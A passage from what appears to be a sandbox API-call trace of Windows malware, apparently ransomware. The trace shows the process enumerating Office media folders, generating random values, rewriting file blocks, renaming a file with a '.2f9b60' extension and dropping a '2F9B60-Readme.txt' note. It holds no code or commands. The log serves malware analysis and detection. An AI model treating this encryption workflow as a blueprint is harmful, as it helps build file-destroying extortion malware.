lpOverlapped=0x0 | out: lpBuffer=0x3dddfda0*, lpNumberOfBytesRead=0x3dddfde8*=0x4, lpOverlapped=0x0) returned 1 [0152.243] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500c20 [0152.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500c50 [0152.244] NtQuerySystemTime (in: CurrentTime=0x3dddfce0 | out: CurrentTime=0x3dddfce0*=132462177574582000) returned 0x0 [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x706d3789 [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0xaece86a [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x16e9f9d [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x44647517 [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x3ee1286c [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0xd9d814c [0152.244] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x7f3e5c5b [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x3bee6be5 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x4eb52ed0 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x4272df77 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x34fbaa55 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0xadf2b58 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x3fdbd127 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x5234b9f9 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x4a9db650 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x55d7c78 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x98e825f [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x455725f4 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x31457665 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x4fcf5a4f [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x18e13279 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x26e50c2 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x69ed07b [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x264b447f [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x595f5621 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x5b72d365 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x220fea65 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x1f6d3f53 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x51f43d [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x25086566 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x56713f51 [0152.245] RtlRandomEx (in: Seed=0x3dddfcd0 | out: Seed=0x3dddfcd0) returned 0x79b8c8e7 [0152.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500c80 [0152.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500cb0 [0152.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500c50) returned 1 [0152.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b90) returned 1 [0152.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425e2de0 [0152.256] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.256] ReadFile (in: hFile=0x25e0, lpBuffer=0x425e2de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dddfd40, lpOverlapped=0x0 | out: lpBuffer=0x425e2de0*, lpNumberOfBytesRead=0x3dddfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0152.278] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ba0 [0152.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420613b0 [0152.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b90) returned 1 [0152.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425ea600 [0152.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500b90 [0152.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ce0 [0152.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ce0) returned 1 [0152.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420613b0) returned 1 [0152.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ba0) returned 1 [0152.280] WriteFile (hFile=0x25e0, lpBuffer=0x425ea600, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dddfd40, lpOverlapped=0x0) [0186.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425ea600) returned 1 [0186.314] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.314] ReadFile (in: hFile=0x25e0, lpBuffer=0x425e2de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dddfd40, lpOverlapped=0x0 | out: lpBuffer=0x425e2de0*, lpNumberOfBytesRead=0x3dddfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0186.816] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0186.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5af30 [0186.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e820 [0186.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e820) returned 1 [0186.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427fbe10 [0186.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e820 [0186.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e7f0 [0186.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e7f0) returned 1 [0186.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5af30) returned 1 [0186.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0186.820] WriteFile (in: hFile=0x25e0, lpBuffer=0x427fbe10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dddfd40, lpOverlapped=0x0 | out: lpBuffer=0x427fbe10*, lpNumberOfBytesWritten=0x3dddfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427fbe10) returned 1 [0205.336] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x48838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.336] ReadFile (in: hFile=0x25e0, lpBuffer=0x425e2de0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3dddfd40, lpOverlapped=0x0 | out: lpBuffer=0x425e2de0*, lpNumberOfBytesRead=0x3dddfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.462] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x48838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0205.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ca0) returned 1 [0205.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fe6910 [0205.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0205.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260dd0 [0205.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260dd0) returned 1 [0205.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.466] WriteFile (in: hFile=0x25e0, lpBuffer=0x41fe6910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3dddfd40, lpOverlapped=0x0 | out: lpBuffer=0x41fe6910*, lpNumberOfBytesWritten=0x3dddfd40*=0x3c00, lpOverlapped=0x0) returned 1 [0214.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fe6910) returned 1 [0214.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104f70 [0214.895] SetFilePointerEx (in: hFile=0x25e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.895] WriteFile (in: hFile=0x25e0, lpBuffer=0x430bc9e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3dddfdf0, lpOverlapped=0x0 | out: lpBuffer=0x430bc9e0*, lpNumberOfBytesWritten=0x3dddfdf0*=0x14a, lpOverlapped=0x0) returned 1 [0219.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0219.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644d0) returned 1 [0219.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0219.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0219.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264470 [0219.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264470) returned 1 [0219.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad720 [0219.190] sprintf (in: _Dest=0x431ad720, _Format="%c%c" | out: _Dest="98") returned 2 [0219.190] sprintf (in: _Dest=0x431ad722, _Format="%c%c" | out: _Dest="ff") returned 2 [0219.190] sprintf (in: _Dest=0x431ad724, _Format="%c%c" | out: _Dest="cd") returned 2 [0219.190] sprintf (in: _Dest=0x431ad726, _Format="%c%c" | out: _Dest="00") returned 2 [0219.190] sprintf (in: _Dest=0x431ad728, _Format="%c%c" | out: _Dest="0e") returned 2 [0219.190] sprintf (in: _Dest=0x431ad72a, _Format="%c%c" | out: _Dest="4b") returned 2 [0219.190] sprintf (in: _Dest=0x431ad72c, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.190] sprintf (in: _Dest=0x431ad72e, _Format="%c%c" | out: _Dest="d1") returned 2 [0219.190] sprintf (in: _Dest=0x431ad730, _Format="%c%c" | out: _Dest="68") returned 2 [0219.190] sprintf (in: _Dest=0x431ad732, _Format="%c%c" | out: _Dest="12") returned 2 [0219.190] sprintf (in: _Dest=0x431ad734, _Format="%c%c" | out: _Dest="d6") returned 2 [0219.190] sprintf (in: _Dest=0x431ad736, _Format="%c%c" | out: _Dest="61") returned 2 [0219.190] sprintf (in: _Dest=0x431ad738, _Format="%c%c" | out: _Dest="4d") returned 2 [0219.190] sprintf (in: _Dest=0x431ad73a, _Format="%c%c" | out: _Dest="3d") returned 2 [0219.190] sprintf (in: _Dest=0x431ad73c, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.190] sprintf (in: _Dest=0x431ad73e, _Format="%c%c" | out: _Dest="c3") returned 2 [0219.190] sprintf (in: _Dest=0x431ad740, _Format="%c%c" | out: _Dest="ed") returned 2 [0219.190] sprintf (in: _Dest=0x431ad742, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.190] sprintf (in: _Dest=0x431ad744, _Format="%c%c" | out: _Dest="30") returned 2 [0219.190] sprintf (in: _Dest=0x431ad746, _Format="%c%c" | out: _Dest="a0") returned 2 [0219.190] sprintf (in: _Dest=0x431ad748, _Format="%c%c" | out: _Dest="d2") returned 2 [0219.190] sprintf (in: _Dest=0x431ad74a, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.190] sprintf (in: _Dest=0x431ad74c, _Format="%c%c" | out: _Dest="8b") returned 2 [0219.191] sprintf (in: _Dest=0x431ad74e, _Format="%c%c" | out: _Dest="3e") returned 2 [0219.191] RtlInitAnsiString (in: DestinationString=0x3dddfe68, SourceString="98ffcd000e4b8dd16812d6614d3dc9c3ed7c30a0d2e08b3e" | out: DestinationString="98ffcd000e4b8dd16812d6614d3dc9c3ed7c30a0d2e08b3e") [0219.191] RtlAnsiStringToUnicodeString (in: DestinationString=0x3dddfe38, SourceString="98ffcd000e4b8dd16812d6614d3dc9c3ed7c30a0d2e08b3e", AllocateDestinationString=1 | out: DestinationString="98ffcd000e4b8dd16812d6614d3dc9c3ed7c30a0d2e08b3e") returned 0x0 [0219.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104870 [0219.191] wcscat (in: _Dest=0x4318c5c0, _Source="98ffcd000e4b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b" [0219.191] wcscat (in: _Dest=0x4318c5c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b.2f9b60" [0219.191] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b.2f9b60", NtPathName=0x3dddfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\98ffcd000e4b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110ea0 [0222.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43110ea0) returned 1 [0222.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307eb30) returned 1 [0222.372] NtQueryInformationFile (in: FileHandle=0x25e0, IoStatusBlock=0x3dddfe78, FileInformation=0x3dddfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3dddfe78, FileInformation=0x3dddfe88) returned 0x0 [0222.372] NtSetInformationFile (FileHandle=0x25e0, IoStatusBlock=0x3dddfe78, FileInformation=0x3dddfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318c5c0) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43104870) returned 1 [0224.597] FlushFileBuffers (hFile=0x25e0) returned 1 [0224.662] CloseHandle (hObject=0x25e0) returned 1 [0225.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431e2b80 [0225.726] wcscpy (in: _Dest=0x431e2b80, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\" [0225.726] wcscat (in: _Dest=0x431e2b80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\2F9B60-Readme.txt" [0225.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0225.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x327c [0226.276] WriteFile (in: hFile=0x327c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3dddfd30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3dddfd30*=0xba9, lpOverlapped=0x0) returned 1 [0226.776] CloseHandle (hObject=0x327c) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e2b80) returned 1 [0227.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae1d0) returned 1 [0227.225] FindNextFileW (in: hFindFile=0x1b859330, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0 [0227.225] FindClose (in: hFindFile=0x1b859330 | out: hFindFile=0x1b859330) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e7b0) returned 1 [0227.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e510) returned 1 [0227.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 Thread: id = 1368 os_tid = 0xf9c [0118.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e490 [0118.501] wcscpy (in: _Dest=0x1b85e490, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0118.501] wcscat (in: _Dest=0x1b85e490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0118.501] wcscat (in: _Dest=0x1b85e490, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*" [0118.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ea20 [0118.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859270 [0118.503] wcscmp (_String1=".", _String2=".") returned 0 [0118.503] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.504] wcscmp (_String1="..", _String2=".") returned 1 [0118.504] wcscmp (_String1="..", _String2="..") returned 0 [0118.504] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0118.504] wcscmp (_String1="AUTOSHAP.DLL", _String2=".") returned 1 [0118.504] wcscmp (_String1="AUTOSHAP.DLL", _String2="..") returned 1 [0118.504] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0118.504] wcscmp (_String1="BD18180_.WMF", _String2=".") returned 1 [0118.504] wcscmp (_String1="BD18180_.WMF", _String2="..") returned 1 [0118.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adfc0 [0118.504] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0118.504] wcscat (in: _Dest=0x1b7adfc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0118.504] wcscat (in: _Dest=0x1b7adfc0, _Source="BD18180_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" [0152.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf")) returned 0x20 [0152.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF", dwFileAttributes=0x20) returned 1 [0152.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2600 [0152.276] GetFileSizeEx (in: hFile=0x2600, lpFileSize=0x3e12fd60 | out: lpFileSize=0x3e12fd60*=2342) returned 1 [0152.276] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x922, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.277] ReadFile (in: hFile=0x2600, lpBuffer=0x3e12fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e12fd28, lpOverlapped=0x0 | out: lpBuffer=0x3e12fce0*, lpNumberOfBytesRead=0x3e12fd28*=0x4, lpOverlapped=0x0) returned 1 [0152.302] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0152.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500dd0 [0152.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e60 [0152.302] NtQuerySystemTime (in: CurrentTime=0x3e12fc20 | out: CurrentTime=0x3e12fc20*=132462177575050000) returned 0x0 [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x509565ff [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x152a7fd7 [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x3567788b [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 